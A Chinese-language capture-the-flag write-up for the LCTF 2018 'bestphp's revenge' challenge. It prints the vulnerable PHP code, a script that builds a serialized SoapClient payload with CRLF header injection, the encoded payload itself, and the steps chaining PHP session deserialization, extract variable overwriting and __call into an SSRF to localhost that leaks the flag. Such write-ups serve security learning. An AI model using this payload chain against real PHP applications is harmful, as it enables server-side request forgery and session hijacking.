bestphp‘s revenge

bestphp's revenge

知识点

php session反序列化

解题

php 复制代码
<?php
highlight_file(__FILE__);
$b = 'implode';
call_user_func($_GET['f'], $_POST);  //参数二的位置固定为 $_POST 数组,我们很容易便想到利用 extract 函数进行变量覆盖,以便配合后续利用
session_start();
if (isset($_GET['name'])) {
    $_SESSION['name'] = $_GET['name'];
}   //存在 session 伪造漏洞,我们可以考虑是否可以包含 session 文件或者利用 session 反序列化漏洞
var_dump($_SESSION);
$a = array(reset($_SESSION), 'welcome_to_the_lctf2018');
//reset($_session)将数组的内部指针指向第一个单元,返回第一个session的值
call_user_func($b, $a);
?>
array(0) { }
 
 
//flag.php  (扫目录扫到的)
only localhost can get flag!session_start();
echo 'only localhost can get flag!';
$flag = 'LCTF{*************************}';
if($_SERVER["REMOTE_ADDR"]==="127.0.0.1"){
       $_SESSION['flag'] = $flag;
   }
only localhost can get flag!

构造:

php 复制代码
<?php
//$url = "http://127.0.0.1/flag.php";
//$b = new SoapClient(null, array('uri' => $url, 'location' => $url));
//$a = serialize($b);
//$a = str_replace('^^', "\r\n", $a);
//echo "|" . urlencode($a);
//
 
 
$target = 'http://127.0.0.1/flag.php';
$b = new SoapClient(null, array('location' => $target,
    'user_agent' => "npfs\r\nCookie:PHPSESSID=123456\r\n",// r n 也就是空行回车
    'uri' => "http://127.0.0.1/"));
 
$se = serialize($b);
echo "|" . urlencode($se);

得到:

复制代码
|O%3A10%3A%22SoapClient%22%3A4%3A%7Bs%3A3%3A%22uri%22%3Bs%3A17%3A%22http%3A%2F%2F127.0.0.1%2F%22%3Bs%3A8%3A%22location%22%3Bs%3A25%3A%22http%3A%2F%2F127.0.0.1%2Fflag.php%22%3Bs%3A11%3A%22_user_agent%22%3Bs%3A31%3A%22npfs%0D%0ACookie%3APHPSESSID%3D123456%0D%0A%22%3Bs%3A13%3A%22_soap_version%22%3Bi%3A1%3B%7D

外链图片转存中...(img-MVOphdGZ-1734773759164)

将其模式换为php_serialize,然后序列化传入name

第二步,改成默认php,然后触发soapclient中的__call魔术方法传值f=extract&name=SoapClient POST:b=call_user_func. 这样 call_user_func( b , b, b,a)就变成call_user_func('call_user_func',array('SoapClient','welcome_to_the_lctf2018')) ,即调用 SoapClient 类不存在的 welcome_to_the_lctf2018 方法,从而触发 __call 方法发起 soap 请求进行 SSRF 。

用到了变量覆盖把b改为了call_user_func,这样数组第一个就是类名,第二个是welcome方法不存在调用_call,然后传入name=SoapClient,这样

a = a r r a y ( r e s e t ( a = array(reset( a=array(reset(_SESSION), 'welcome_to_the_lctf2018');前面就是SoapClient值了

外链图片转存中...(img-152LvvGX-1734773759165)

最后把PHPSESSID换成,我们一开始代码中的123456即可

外链图片转存中...(img-dFAuCzWq-1734773759166)

相关推荐
白帽黑客沐瑶2 小时前
【网络安全就业】信息安全专业的就业前景(非常详细)零基础入门到精通,收藏这篇就够了
网络·安全·web安全·计算机·程序员·编程·网络安全就业
2303_Alpha3 小时前
SpringBoot
笔记·学习
萘柰奈3 小时前
Unity学习----【进阶】TextMeshPro学习(三)--进阶知识点(TMP基础设置,材质球相关,两个辅助工具类)
学习·unity
沐矢羽3 小时前
Tomcat PUT方法任意写文件漏洞学习
学习·tomcat
好奇龙猫3 小时前
日语学习-日语知识点小记-进阶-JLPT-N1阶段蓝宝书,共120语法(10):91-100语法+考え方13
学习
向阳花开_miemie4 小时前
Android音频学习(十八)——混音流程
学习·音视频
工大一只猿4 小时前
51单片机学习
嵌入式硬件·学习·51单片机
c0d1ng4 小时前
量子计算学习(第十四周周报)
学习·量子计算
Hello_Embed11 小时前
STM32HAL 快速入门(二十):UART 中断改进 —— 环形缓冲区解决数据丢失
笔记·stm32·单片机·学习·嵌入式软件
咸甜适中11 小时前
rust语言 (1.88) 学习笔记:客户端和服务器端同在一个项目中
笔记·学习·rust